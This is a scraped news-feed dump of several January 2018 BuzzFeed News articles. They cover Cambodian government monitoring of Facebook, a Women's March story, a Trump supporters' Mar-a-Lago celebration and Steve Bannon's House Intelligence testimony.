“I’m really careful about what I post on Facebook now.” 

In some cases, when Facebook wouldn’t take action but Duong’s team felt criticism or fake news was over the line, they would report users directly to the police. At least 15 people have been arrested in Cambodia over Facebook posts since 2014, and many more have been threatened in public and private.

I asked Huy Vannak, an undersecretary of state for the Ministry of Interior who has been a vocal advocate for controls on online expression, whether this process denied Cambodians the right to free speech. He was blunt in his response.

“People want a big room for themselves to speak,” he said. “But if you let things go freely, it’ll be anarchy. … You have to understand that freedom has limits. You need rule of law.”

The country’s Ministry of Interior and Ministry of Posts and Telecommunications also work to monitor Facebook for content they object to, Huy Vannak said. From cities to villages, government officials are trained to use Facebook to engage with citizens and also keep an eye on what they post to ensure there’s no content that threatens social stability — as the government sees it.

The government has a “mechanism” for working with Facebook on that issue, he said, without elaborating.

But for the opposition, it’s a different story.

In 2016, research from the analysis firm Socialbakers suggested a significant portion of Hun Sen’s Facebook likes came from places like the Philippines and India, which don’t have Khmer-speaking populations and are known for hosting so-called click farms where users can buy likes. Lorya Noseda, a marketing consultant who had worked on behalf of the opposition for her uncle, former party leader Sam Rainsy, wanted to bring the matter to Facebook. Facebook says it does not want users to buy likes, saying it will remove fake likes and block accounts that buy them.

Unsure of the right person to contact at the company, Sam Rainsy asked one of his daughters to reach out to a friend at Facebook’s London office. The friend connected them to others at the company who managed public pages and worked on the policy team.

At first, Noseda was optimistic. But then they didn’t get responses to their emails for weeks or were simply ignored.

“They took three weeks to reply, or there was no answer — or they’d give you a reply that was just bullshit or missing the point, saying it wasn’t in their remit,” she said. “Then you try to schedule a call, and they say you have to speak to their boss and their boss doesn’t respond.”

“I just didn’t know what to do.”

In an email exchange that took place over two months in 2016, and seen by BuzzFeed News, Sam Rainsy wrote a detailed note complaining about reports that Hun Sen was buying followers. At first, the Facebook employee, who works on product policy, seemed happy to set up a phone call to explain the company’s rules and point of view. But after Noseda cc’d Sam Rainsy’s lawyer, the messages simply stopped. (Facebook contests this, saying they did offer a call, but Noseda says the company’s representative did not follow through.)

Noseda was frustrated.

“Facebook has a moral duty toward Cambodia,” she said. “Because the radio and TV and everything is controlled by Hun Sen, Facebook has become the only place where people can freely express themselves.”

Those who engage in political speech on Facebook say, however, that they’re being more and more careful with what they say. The platform stopped being a place for free expression in Cambodia when the government started arresting people over Facebook posts.


Jade Sacker For BuzzFeed News

Kung Raiya, one of the first Cambodians to be sent to prison for a Facebook post.

Kung Raiya, 26, first started using Facebook six years ago because he heard it was a way to meet pretty girls. It never occurred to him that he might land in prison over a Facebook post.

In person, Kung comes off as soft-spoken and a little shy. But his online life is a different story. He first got interested in political activism as a student, when he would cycle to demonstrations after class. He began posting snapshots and videos of post-election protests, and the police abuses that sometimes accompanied them, on his Facebook account, and thousands of people started to follow him to find out what was happening in real time.

“I used Facebook as a news broadcasting service, one just for myself,” he said. “Every action I took, I would post about it.”

It didn’t cross Kung’s mind that he could get in trouble for being so outspoken. After all, he had never heard of anyone being jailed over a Facebook post in Cambodia. That changed in August 2015, when Kung was scrolling through his News Feed and saw part of a speech made by Hun Sen. The prime minister vowed to turn the country’s armed forces against those who tried to instigate a “color revolution.”

Kung had never heard the term before. He asked one of his teachers what it meant. The teacher didn’t really know either, but told him it was a form of protest, he said.

Without thinking too much about it, Kung posted on Facebook asking if anyone wanted to start a color revolution with him in Cambodia.

“I was young,” he said with a shrug. “I didn’t feel afraid. Friends even told me to delete it and I said no, why would I do that? It’s not illegal.”

Two weeks later, while on his way to class, Kung was arrested. He would spend 18 months in prison, convicted of incitement to commit a felony.

 “You have to understand that freedom has limits. You need rule of law.”

What happened to Kung and many others like him in the past two years has created a chilling effect that critics of the government say is only getting worse. The government does not have the ability to block individual pages on Facebook, but the jailing of its critics has made them much quieter and more cautious.

“I’m really careful about what I post on Facebook now,” said Noan Sereiboth, 28, a blogger who helps run a political discussion group. “Because of the political situation, the space for talking about politics is getting smaller and smaller.”

He had heard of many people being arrested for criticizing the prime minister, he said. They were released after they apologized.

One way Cambodian internet users get around this issue is by using anonymous accounts on Facebook. Some of the accounts use obvious pseudonyms, often incorporating English words like “peace” and “love.” Others are harder to distinguish from real names.

Fake names violate Facebook’s terms of service, but in practice, the rule is not enforced consistently, in part because the company relies on people proactively bringing such accounts to its attention.

Duong is aware of this, too. He said his team makes note when accounts using pseudonyms criticize the prime minister. It’s easy, he said, to get Facebook to take those accounts down because they already violate the company’s terms of service.

Samathida Kem, the opposition leader’s daughter, said she noticed plenty of fake names, too — on accounts that sent her harassing messages. When it got to be too much, she would click the “report” button like any other user. Sometimes Facebook responded.

“The thing is that if you look back now, we’ve become less free as a country,” she said. “There are people who get arrested so randomly — so many people who criticize the government that you don’t know which one of them they’re going to come after.”


Jade Sacker For BuzzFeed News

An employee works at Fresh News.

This month, Facebook announced a sweeping change to its platform that would prioritize personal posts that friends share or react to and sideline content produced by official pages, like professional news sites, brands, and organizations like nonprofits. In an interview with the New York Times, Mark Zuckerberg, the company’s founder, said it was an effort to display more content that involved “meaningful interaction” as opposed to “passive content,” like videos or news articles. (Zuckerberg also said the company would work to combat fake news by surveying users on which sources they trust.)

The decision mirrors an experiment the company decided to run in Cambodia and a handful of other developing countries in October last year. That test moved content from publishers and other official pages to a new and somewhat obscure part of the site called the Explore Feed, making it far less intuitive to access.

“The goal of this test is to understand if people prefer to have separate places for personal and public content,” wrote Adam Mosseri, head of News Feed, in a statement at the time. (Asked about the experiment, a Facebook spokesperson sent a link back to that statement.)

According to a person with direct knowledge of the matter, Facebook developers believed the move would decrease the organic reach of official pages by 50% to 80%. They were right. Pages from Lim Cheavutha’s pro-government Fresh News to independent news outlets like the Phnom Penh Post saw their traffic crash.

The decision sparked an outcry in Cambodia and other countries, including Bolivia, Serbia, Guatemala, and Sri Lanka. Phil Robertson of Human Rights Watch accused Facebook of using developing countries as “guinea pigs” in an experiment.

It only made matters worse that the test came just as Hun Sen’s government was working to shut down independent media, from the Cambodia Daily newspaper to a host of news radio stations, making Facebook’s role as a source even more important. Media executives have said these changes to the News Feed have actually amplified fake news by making it harder to find information from independent, trustworthy news sources.

But Facebook now appears to be shying away from its role as a news source amid lingering questions about its handling of rumors and fake news that have affected elections around the world. It’s clear it won’t be playing the role in this year’s national election that it did in 2013.

The US and the EU suspended aid from this year’s national election after Hun Sen dissolved the opposition, saying there was no way the process could be legitimate. Hun Sen has said the elections will be held on schedule anyway, saying he doesn’t care if “foreigners” recognize it as genuine.

This month, Sam Rainsy, the former opposition leader who has avoided imprisonment by going into exile in France, announced the establishment of a new party, though Kem Sokha has declined to join.

But he and other opponents of the government have a much harder road ahead of them this time. Facebook’s role as one of the two tech giants dominating the digital advertising market depends on keeping its users engaged and spending as much time on its platform as possible — a goal that’s more easily accomplished by encouraging users to interact with friends than by serving as a platform for news.

“It’s a real shame that there isn’t much commitment to actually support people who use Facebook to spread political messages and to try to move forward, to improve the current situation,” said Noseda. “They don’t care — they’re very hands off. They just want people to pay for advertising.”

Sokhean Ben contributed additional reporting to this story.

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]]> https://briefnews.eu/propaganda-you-may-know-%f0%9f%91%a5/feed/ 0 Bright Young Women… 🎶 https://briefnews.eu/bright-young-women-%f0%9f%8e%b6/ https://briefnews.eu/bright-young-women-%f0%9f%8e%b6/#respond Sun, 21 Jan 2018 22:34:00 +0000 http://briefnews.eu/bright-young-women-%f0%9f%8e%b6/

Ava said she came up with the idea after seeing this drawing by artist Amanda Niday.

The teens, who go to Archer School For Girls, didn’t march last year but felt inspired to attend together and “do something special” after becoming “closer as friends,” said Naiobi Benjamin, who dressed as Ariel. “We thought it would be a fun and creative way to show our support for equality.”

“I also decided to be Elsa because of the ever pending issue of climate change,” Jacqueline continued. “Yes, this is a legitimate phenomenon. When we burn fossil fuels, we release CO2 emissions into the atmosphere. Elsa’s ice palace is of course directly affected. I saw Elsa, the ice queen, as a way to spread awareness on the issue.”

“People saying stuff like go back in the kitchen or go watch porn? Ummm we don’t know what we are marching about, we are a bunch of idiots,” the 13-year-old went on. “A lot of us were really upset but I’ve gotten over it now. I know it doesn’t matter.”

Some of them even called out and shut down the haters.

The girls say they will be back next year and plan to keep “showing up until we don’t have to.”

“I hope no woman ever backs down from getting equal pay and respect and rights,” Gwyneth said.

“All you raging feminists are badass queens. Keep doing your thing and advocating for change. Never underestimate a princess,” Jacqueline exclaimed.

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]]> https://briefnews.eu/bright-young-women-%f0%9f%8e%b6/feed/ 0 🚨 Kim And Kanye's New Baby Is Named “Chicago” 🚨 https://briefnews.eu/%f0%9f%9a%a8-kim-and-kanyes-new-baby-is-named-chicago-%f0%9f%9a%a8/ https://briefnews.eu/%f0%9f%9a%a8-kim-and-kanyes-new-baby-is-named-chicago-%f0%9f%9a%a8/#respond Fri, 19 Jan 2018 18:50:23 +0000 http://briefnews.eu/%f0%9f%9a%a8-kim-and-kanyes-new-baby-is-named-chicago-%f0%9f%9a%a8/ [unable to retrieve full-text content]

Welcome to the world!

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]]> https://briefnews.eu/%f0%9f%9a%a8-kim-and-kanyes-new-baby-is-named-chicago-%f0%9f%9a%a8/feed/ 0 “It Sure Ain't No Shithole” 🌴 https://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/ https://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/#respond Fri, 19 Jan 2018 09:53:14 +0000 http://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/


Joe Raedle / Getty Images

The clock was ticking for the Republican-controlled Congress to stave off a government shutdown Thursday night — just over 24 hours to go — but Washington’s chaos seemed to be taking place on another planet for about 800 of President Donald Trump’s most die-hard supporters, who held a lavish celebration at Mar-a-Lago to mark Trump’s first-year in office and rally for his re-election.

Decked out in red, white, and blue, Trump fans from all over the country danced throughout the evening at the president’s exclusive club, toasted repeatedly to Trump’s accomplishments, chanted his name — along with the occasional campaign favorite “lock her up” — and referred to Trump as a “damn genius,” their “messiah” and “savior.” The speakers and attendees also slammed the media and pushed back on renewed allegations of racism levied at the president, after reports last week that he called African nations “shithole countries” in a private meeting with lawmakers.


Tarini Parti / Via BuzzFeed News

“Welcome to Mar-a-Lago, a magnificent place,” said Fox News host and Trump backer Jeanine Pirro, kicking off her keynote address just before dinner on a stage with a shimmering gold backdrop.

“It sure ain’t no shithole.”

The night’s “Red, White, and Blue Celebration” was organized by Toni Holt Kramer, leader of the Trumpettes, a group of wealthy socialites who got together in 2016 to help Trump get more support from female voters. The event was not a fundraiser, despite the constant pleas to gear up for 2020, and was billed as a “party for we the people.” Attendees paid $ 300 for a ticket that included a cocktail hour and dinner. (BuzzFeed News was invited to cover the event by Holt Kramer and paid for a ticket).

Attendees had been so excited to hear Pirro speak that one of them climbed up on the stage to cut off Tova Leidesdorf, a local philanthropist who had been introducing the conservative celebrity and had paid for her speaking fees. The disruptor had to be removed from the stage by organizers and security.

Moving past the brief kerfuffle, Pirro fired up the crowd by rattling off accomplishments that Obama couldn’t manage,”but the so-called racist president could do it.”

“I love Donald Trump,” she said. “He’s the least racist man I’ve ever met, but I must tell you, race has always been an issue for Donald. Donald is always in a race — in a race against time, in a race against competitors, in a race against corruption, in a race against crime, and a race against terrorism.”


Tarini Parti / Via BuzzFeed News

The president, who has frequently flown back to Mar-a-Lago for weekends, especially in colder months, is not expected to be at his club until Friday night, plans that could be complicated by a potential government shutdown. But large cutouts of him with his iconic thumbs up — some with First Lady Melania Trump and others with his “Make America Great Again” hat on — were scattered throughout the ballroom so he could join in the celebration. The attendees drank Trump wine and dined on sliced beef brisket, berry salad, and “American apple pie.”

Throughout the night, attendees were eager to sound off on the most recent charges of racism against the president, which was fitting, given that the event was also first conceived as a result of the outrage over Trump’s comments in the aftermath the white supremacist violence in Charlottesville last August, when he said “both sides” were responsible. Charities and businesses that had held annual events Mar-a-Lago started fleeing the club after those comments because they did not want to be seen as at all sympathetic to white supremacy by associating themselves with the Trump brand.

At the time, Holt Kramer decided to counter any insinuation of the president being a racist in the most Trumpian way possible: by throwing an over-the-top celebration at his resort on the eve of the first year of his presidency.

“Everyone knows that if it weren’t for him, there wouldn’t even be a club in Palm Beach where Jews and Muslims and people of all faiths would be welcome,” Holt Kramer told BuzzFeed News before the event. “I said this is disgusting. It was just so offensive to me. I thought about it and decided, ‘Well I think I’m about to do an event.”

Tickets for the celebration, which was initially planned for about 400 people and ended up doubling, sold out within days last fall and was expanded to include an “overflow ballroom.”

 “These are the people who fought. These are the people who lost friends because of their support.”

In his welcome remarks, Eric Trump, the president’s son, called the people who came to the celebration his family’s “true friends.”

“These are the people who care,” he said. “These are the people who fought. These are the people who lost friends because of their support.”

His wife, Lara Trump, who is already working on Trump’s re-election campaign, told supporters that Trump has to “fight an uphill battle everyday” against the media and the Democrats. “The thing is they won’t try to stop a loser,” she said. “But they will try and stop a winner, and Donald Trump is winning for this country.”

“They better buckle up because we got him for seven more years, right?”

Trump will be having another one-year anniversary celebration at Mar-a-Lago this weekend once he’s due to be in town, according to Bloomberg News. A pair of tickets, which will benefit Trump’s campaign and the Republican National Committee, start at $ 100,000.

Although polls show some Republicans growing wary of Trump’s controversial comments and tweets ahead of the 2018 elections, the hundreds who attended Thursday night seemed to have no major concerns about his presidency so far. Several also said that Trump might have called the countries “shitholes,” but that’s because of their corrupt politicians, not because of their people.

Becky Diefendorf of Port St. Lucie who attended the event didn’t hold back on her anger at those calling Trump a racist. “That’s such bullshit. You could call that a shithole.” Diefendorf went on to suggest that Trump should get rid of all the national news outlets covering the White House — “all of those who have been sitting up there for 40 years” — and replace them with “local reporters and entrepreneurs”

Anka Palitz, a Palm Beach resident and Mar-a-Lago member, said she’s been a Trump fan for 30 years and has continued to be impressed with his time in office. “This is not a man who thinks inside the box,” she said. “He thinks outside the box.”


Tarini Parti

Palitz said the presidency hasn’t changed Trump at all, and that he still acts the same way when he’s at the club. She said she was disappointed in “liberals” who don’t want to hear Trump’s opinion and continue to paint him as a racist, adding with a smile that instead of being bothered by it, a certain curse word would be making a comeback.

“I tell you, shithole is going to be the new word.”

On their way out, guests picked up red “Trump 2020” baseball hats that were lined up on tables — and bottles of Salute American Vodka.

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Tarini Parti is a politics reporter for BuzzFeed News and is based in Washington, DC.

Contact Tarini Parti at tarini.parti@buzzfeed.com.

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]]> https://briefnews.eu/it-sure-aint-no-shithole-%f0%9f%8c%b4/feed/ 0 Don't Get Mad, Get Stephen 😶 https://briefnews.eu/dont-get-mad-get-stephen-%f0%9f%98%b6/ https://briefnews.eu/dont-get-mad-get-stephen-%f0%9f%98%b6/#respond Wed, 17 Jan 2018 23:04:36 +0000 http://briefnews.eu/dont-get-mad-get-stephen-%f0%9f%98%b6/

Lawmakers investigating Russian election interference are vowing to bring former White House chief strategist Steve Bannon back to Capitol Hill after he refused to answer many of their questions in a marathon interview on Tuesday. And now the top Democrat on the House Intelligence Committee says the panel could hold the former Trump campaign chairman in contempt.

Bannon, who was ousted from the White House in August, appeared voluntarily before the committee on Tuesday, spending more than 10 hours behind closed doors with lawmakers investigating Russian interference and potential collusion during the 2016 election.

But members of the committee said Bannon, through his lawyer — who was on the phone with the White House — refused to answer questions about his time in the administration as well as the transition period. In a rare show of bipartisanship, the committee subpoenaed Bannon on the spot.

Even after the panel issued a subpoena, however, Bannon and his attorney declined to answer questions about events that occurred after Election Day.

California Rep. Adam Schiff, the ranking member on the committee, called the situation with Bannon “unprecedented” on Wednesday. The panel has already interviewed others in Trump’s orbit, including former foreign policy adviser Carter Page, and on Wednesday added outgoing White House Deputy Chief of Staff Rick Dearborn and former Trump campaign manager Corey Lewandowski to that list.

When asked if the committee would hold Bannon in contempt, Schiff said, “If he and the White House persist in refusing to answer relevant, non-privileged questions, then we’ll have to pursue whatever legal remedies we have, which would require a court.”

Texas Rep. Mike Conaway, the Republican who has led the investigation since committee chairman Devin Nunes stepped aside from the Russia probe, declined to say whether the committee would hold Bannon in contempt, however. “We’re going to get the answers to our questions,” he said, adding: “The subpoena is still in place.”

Both Schiff and Republican Rep. Chris Stewart, another member of the committee, said Bannon would be back before the panel “shortly,” but did not specify a date for a second interview.

“We’ll hope to get a different answer back from his counsel after they consult with the White House because the position they took yesterday is completely unsustainable,” Schiff said.

Bannon reportedly refused to answer questions, citing executive privilege, which allows presidents to keep some information about their discussions and deliberations private. During the interview, Bannon’s lawyer relayed the committee’s questions to the White House by phone, White House press secretary Sarah Huckabee Sanders confirmed Wednesday.

The White House on Wednesday refused to say whether it had actually invoked executive privilege, however. Sanders told reporters the White House “is following the same practice” as “many White Houses before.”

“Sometimes they actually have a White House attorney present in the room [during congressional inquiries],” Sanders said. “This time it was something that was relayed via phone, and again, was following standard procedure for an instance like this and something that will likely happen again on any other number of occasions, not just within this administration, but future administrations.”

The next test of the White House’s cooperation with House investigators will come later this week, when White House communications director Hope Hicks is scheduled to testify.

Some lawmakers on the committee say the White House, and Bannon, are relying on an overly broad definition of executive privilege in refusing to answer questions about the transition period, before Trump was inaugurated.

“Nobody’s presented a plausible legal theory of the case to invoke executive privilege in the absence of the president doing it,” said Rep. Denny Heck, a Democrat on the committee. “So, yeah, people are upset. Quite upset. … I understand somebody invoking their Fifth Amendment rights and not incriminating themselves, I understand they have a constitutional reason for doing that, but to do it under this theory, which is highly questionable, just seems to me that they are saying as loudly as they can, I’ve got something to hide, and I’m not going to share it.”

Bannon’s testimony was hotly anticipated after the publication of Michael Wolff’s book Fire and Fury, which quoted Bannon calling a June 2016 meeting between a Russian lawyer and members of the Trump campaign “treasonous,” among other things. Following the book’s publication, Bannon said his comments were misreported, but the damage was done: Trump quickly turned on “Sloppy Steve,” and Breitbart News, the pro-Trump publication, parted ways with Bannon.

Bannon was also reportedly subpoenaed by special counsel Robert Mueller to testify before a grand jury in the FBI’s investigation. Bannon, according to the Daily Beast, will be more forthcoming with Mueller than he has been with the House panel.

The chairman of the Senate Intelligence Committee, however, has previously said he isn’t interested in hearing from Bannon as part of that panel’s probe.

Lissandra Villa contributed reporting.

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